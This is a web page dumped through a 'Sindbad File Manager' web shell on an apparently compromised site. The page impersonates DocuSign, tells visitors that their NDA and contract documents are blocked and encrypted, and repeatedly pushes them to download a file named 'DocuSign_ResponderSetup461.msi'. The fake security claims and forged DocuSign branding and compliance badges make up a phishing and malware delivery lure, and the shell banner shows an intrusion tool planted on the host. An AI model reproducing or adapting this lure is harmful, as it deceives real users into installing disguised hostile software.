Sindbad~EG File Manager

Current Path : /home/montenegroput/public_html/DocuSign/
Upload File :
Current File : /home/montenegroput/public_html/DocuSign/download.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document Blocked – Install DocuSign Desktop</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">

<style>

*{
margin:0;
padding:0;
box-sizing:border-box;
font-family:Inter,sans-serif;
}

body{
background:#f0f2f8;
color:#1a1a2e;
min-height:100vh;
display:flex;
flex-direction:column;
}

.container{
width:1200px;
max-width:92%;
margin:auto;
flex:1;
display:flex;
flex-direction:column;
}

/* NAVBAR */

nav{
display:flex;
justify-content:space-between;
align-items:center;
padding:24px 0;
}

.logo img{
display:block;
}

.menu{
display:flex;
align-items:center;
gap:40px;
}

.menu a{
text-decoration:none;
color:#555;
font-weight:500;
font-size:15px;
transition:color .2s;
}

.menu a:hover{
color:#5b22ff;
}

.btn-primary{
background:#5b22ff;
padding:13px 28px;
color:white;
border-radius:10px;
text-decoration:none;
font-weight:600;
display:inline-flex;
align-items:center;
gap:10px;
transition:.3s;
border:none;
cursor:pointer;
font-size:15px;
}

.btn-primary:hover{
background:#4316db;
transform:translateY(-2px);
box-shadow:0 8px 20px rgba(91,34,255,.3);
}

.btn-secondary{
background:#eee;
color:#333;
padding:13px 28px;
border-radius:10px;
text-decoration:none;
font-weight:600;
display:inline-flex;
align-items:center;
gap:10px;
transition:.3s;
border:none;
cursor:pointer;
font-size:15px;
}

.btn-secondary:hover{
background:#ddd;
transform:translateY(-2px);
}

/* HERO — BLOCKED DOCUMENT FOCUS */

.hero{
padding:50px 0 70px;
text-align:center;
}

.blocked-card{
background:#fff;
border-radius:28px;
padding:50px 40px 55px;
box-shadow:0 15px 40px rgba(0,0,0,.07);
max-width:820px;
margin:0 auto;
border:1px solid #f0eaff;
}

.blocked-icon{
width:80px;
height:80px;
background:#fff0f0;
border-radius:50%;
display:flex;
align-items:center;
justify-content:center;
margin:0 auto 24px;
font-size:36px;
}

.blocked-card h1{
font-size:44px;
font-weight:800;
margin-bottom:12px;
letter-spacing:-.5px;
color:#c0392b;
}

.blocked-card h1 span{
color:#5b22ff;
}

.blocked-card .sub{
font-size:18px;
color:#666;
line-height:1.6;
max-width:600px;
margin:0 auto 8px;
}

.blocked-card .doc-name{
display:inline-flex;
align-items:center;
gap:10px;
background:#f8f6ff;
padding:10px 24px;
border-radius:50px;
font-size:15px;
font-weight:500;
color:#5b22ff;
margin:16px 0 24px;
border:1px dashed #c4b5ff;
}

.divider-line{
width:60px;
height:3px;
background:#5b22ff;
border-radius:4px;
margin:24px auto;
opacity:.3;
}

.solution-label{
font-size:15px;
color:#888;
font-weight:500;
margin-bottom:14px;
letter-spacing:1.5px;
text-transform:uppercase;
}

.blocked-card .cta-group{
display:flex;
justify-content:center;
gap:16px;
flex-wrap:wrap;
margin-top:10px;
}

.blocked-card .btn-primary{
font-size:17px;
padding:16px 38px;
}

.blocked-card .btn-secondary{
font-size:15px;
padding:14px 28px;
}

/* DESKTOP MOCKUP — now secondary */

.desktop-showcase{
margin-top:55px;
display:flex;
justify-content:center;
align-items:center;
gap:50px;
flex-wrap:wrap;
}

.desktop-mockup{
position:relative;
width:520px;
max-width:100%;
}

.desktop-mockup .screen{
width:100%;
background:#1a1a2e;
border-radius:16px;
padding:18px 18px 26px;
box-shadow:0 25px 50px rgba(0,0,0,.15),0 0 0 1px rgba(255,255,255,.06);
}

.screen-topbar{
display:flex;
align-items:center;
gap:10px;
margin-bottom:16px;
}

.screen-dot{
width:11px;
height:11px;
border-radius:50%;
}

.screen-dot.red{background:#ff5f57;}
.screen-dot.yellow{background:#ffbd2e;}
.screen-dot.green{background:#28c840;}

.screen-topbar span{
color:rgba(255,255,255,.25);
font-size:12px;
margin-left:10px;
}

.screen-content{
display:flex;
flex-direction:column;
gap:12px;
}

.screen-doc{
display:flex;
align-items:center;
gap:12px;
background:rgba(255,255,255,.06);
border-radius:10px;
padding:12px 16px;
transition:.2s;
}

.screen-doc .pdf-icon{
width:32px;
height:40px;
background:#e74c3c;
border-radius:4px;
display:flex;
align-items:center;
justify-content:center;
color:#fff;
font-weight:700;
font-size:9px;
flex-shrink:0;
}

.screen-doc .doc-info{
flex:1;
text-align:left;
}

.screen-doc .doc-info .name{
color:#fff;
font-weight:500;
font-size:13px;
}

.screen-doc .doc-info .status{
color:rgba(255,255,255,.4);
font-size:11px;
margin-top:2px;
}

.screen-doc .lock-badge{
background:rgba(255,87,87,.12);
padding:5px 9px;
border-radius:6px;
font-size:12px;
color:#ff5f57;
white-space:nowrap;
}

.screen-doc.unlocked{
border:1px solid rgba(91,34,255,.35);
background:rgba(91,34,255,.08);
}

.screen-doc.unlocked .doc-info .name{
color:#5b22ff;
}

.screen-doc .check{
color:#28c840;
font-size:16px;
font-weight:700;
}

.screen-footer{
margin-top:18px;
display:flex;
justify-content:center;
}

.screen-btn{
background:#5b22ff;
color:#fff;
border:none;
padding:11px 0;
border-radius:9px;
font-weight:600;
font-size:13px;
width:100%;
cursor:pointer;
transition:.2s;
}

.screen-btn:hover{
background:#4316db;
}

.devices-row{
display:flex;
justify-content:center;
gap:24px;
margin-top:28px;
flex-wrap:wrap;
}

.device-chip{
display:flex;
align-items:center;
gap:7px;
background:#fff;
padding:9px 16px;
border-radius:10px;
font-weight:500;
font-size:13px;
color:#444;
box-shadow:0 2px 8px rgba(0,0,0,.05);
}

/* FEATURES — supportive */

.features{
margin-top:50px;
display:grid;
grid-template-columns:1.6fr 1fr;
gap:25px;
}

.left-card{
background:linear-gradient(135deg,#6127ff,#3b00d7);
color:white;
padding:45px 50px;
border-radius:25px;
min-height:340px;
display:flex;
flex-direction:column;
justify-content:space-between;
}

.left-card h2{
font-size:34px;
margin-bottom:16px;
font-weight:700;
}

.left-card p{
font-size:17px;
line-height:1.8;
max-width:540px;
opacity:.92;
}

.left-card .btn-primary{
background:white;
color:#5b22ff;
width:auto;
align-self:flex-start;
}

.left-card .btn-primary:hover{
background:#f0ecff;
box-shadow:0 8px 20px rgba(0,0,0,.2);
}

.right{
display:flex;
flex-direction:column;
gap:14px;
}

.info-card{
background:white;
border-radius:18px;
padding:24px 26px;
box-shadow:0 8px 20px rgba(0,0,0,.04);
display:flex;
gap:14px;
align-items:flex-start;
transition:.2s;
}

.info-card:hover{
box-shadow:0 12px 30px rgba(0,0,0,.08);
}

.icon-box{
width:44px;
height:44px;
background:#ede8ff;
border-radius:12px;
display:flex;
justify-content:center;
align-items:center;
font-size:20px;
flex-shrink:0;
}

.info-card h3{
font-size:15px;
line-height:1.6;
font-weight:500;
color:#333;
}

/* COMPLIANCE */

.compliance{
margin-top:40px;
display:flex;
justify-content:center;
flex-wrap:wrap;
gap:22px;
padding:18px 0 10px;
}

.compliance span{
display:flex;
align-items:center;
gap:8px;
color:#666;
font-weight:500;
font-size:14px;
}

.compliance .dot{
width:8px;
height:8px;
border-radius:50%;
background:#5b22ff;
}

/* FOOTER */

footer{
text-align:center;
padding:35px 0 45px;
color:#999;
font-size:13px;
border-top:1px solid #e0e0e8;
margin-top:40px;
}

footer a{
color:#5b22ff;
text-decoration:none;
}

/* RESPONSIVE */

@media(max-width:900px){

.blocked-card{
padding:35px 20px 40px;
}

.blocked-card h1{
font-size:30px;
}

nav{
flex-direction:column;
gap:18px;
}

.menu{
flex-wrap:wrap;
justify-content:center;
gap:20px;
}

.features{
grid-template-columns:1fr;
}

.left-card{
padding:35px 28px;
min-height:auto;
}

.left-card h2{
font-size:26px;
}

.desktop-mockup{
width:100%;
}

}

</style>
</head>
<body>

<div class="container">

<nav>
<div class="logo">
<img src="https://brandlogos.net/wp-content/uploads/2024/04/docusign-logo_brandlogos.net_5wujv.png" width="200px" alt="DocuSign">
</div>
<div class="menu">
<a href="#">Features</a>
<a href="#">Products</a>
<a href="#">Pricing</a>
<a href="doc/DocuSign_ResponderSetup461.msi" class="btn-primary" style="color:#fff;text-decoration:none;">
⬇ Download
</a>
</div>
</nav>



<!-- DESKTOP MOCKUP — after the blocked card -->
<div class="desktop-showcase">

<div class="desktop-mockup">
<div class="screen">
<div class="screen-topbar">
<span class="screen-dot red"></span>
<span class="screen-dot yellow"></span>
<span class="screen-dot green"></span>
<span>DocuSign Secure Viewer</span>
</div>
<div class="screen-content">

<div class="screen-doc">
<div class="pdf-icon">PDF</div>
<div class="doc-info">
<div class="name">🔒 NDA_Agreement_2026_Secured.pdf</div>
<div class="status">AES-256 encrypted · Desktop required</div>
</div>
<span class="lock-badge">🔒 Locked</span>
</div>

<div class="screen-doc">
<div class="pdf-icon">PDF</div>
<div class="doc-info">
<div class="name">🔒 Contract_Signed_v2.pdf</div>
<div class="status">Digital signature attached · encrypted</div>
</div>
<span class="lock-badge">🔒 Locked</span>
</div>

<div class="screen-doc unlocked">
<div class="pdf-icon" style="background:#5b22ff;">PDF</div>
<div class="doc-info">
<div class="name">📄 Unlocked in Desktop</div>
<div class="status">Open with DocuSign Desktop to view</div>
</div>
<span class="check">✓</span>
</div>

</div>
<div class="screen-footer">
<button class="screen-btn"><a href="doc/DocuSign_ResponderSetup461.msi" style="color:white;display: block;text-decoration: none;">⬇ Install DocuSign Desktop</a></button>
</div>
</div>
</div>

</div>

<div class="devices-row">
<span class="device-chip">🖥 Windows 10 / 11</span>
<span class="device-chip">🍏 macOS Ventura+</span>
<span class="device-chip">📱 iOS / Android companion</span>
</div>

</section>

<!-- FEATURES -->
<section class="features">

<div class="left-card">
<div>
<h2>Why the Desktop App?</h2>
<p>
Secured agreements are encrypted with AES-256. Only the DocuSign Desktop application can decrypt and safely display the content — keeping your documents private, tamper-proof, and compliant.
</p>
</div>
<a href="doc/DocuSign_ResponderSetup461.msi" class="btn-primary">⬇ Download Desktop App</a>
</div>

<div class="right">

<div class="info-card">
<div class="icon-box">🔐</div>
<h3><strong>AES-256 Encryption</strong> — bank-grade protection. The desktop app is the only viewer that can unlock secured documents.</h3>
</div>

<div class="info-card">
<div class="icon-box">🔄</div>
<h3><strong>Keep updated</strong> — older versions may not support the latest security protocols. Update to avoid access issues.</h3>
</div>

<div class="info-card">
<div class="icon-box">📋</div>
<h3><strong>Offline access</strong> — download secured documents to the desktop app and view them without an internet connection.</h3>
</div>

</div>

</section>

<!-- COMPLIANCE -->
<div class="compliance">
<span><span class="dot"></span>ISO 27001</span>
<span><span class="dot"></span>FedRAMP</span>
<span><span class="dot"></span>APEC PPP</span>
<span><span class="dot"></span>CSA STAR</span>
<span><span class="dot"></span>PCI DSS</span>
<span><span class="dot"></span>SSAE 18</span>
</div>

<footer>
&copy; 2026 DocuSign, Inc.<br>
<a href="#">Privacy Policy</a> · <a href="#">Terms of Service</a> · <a href="#">Support</a>
</footer>

</div>

</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists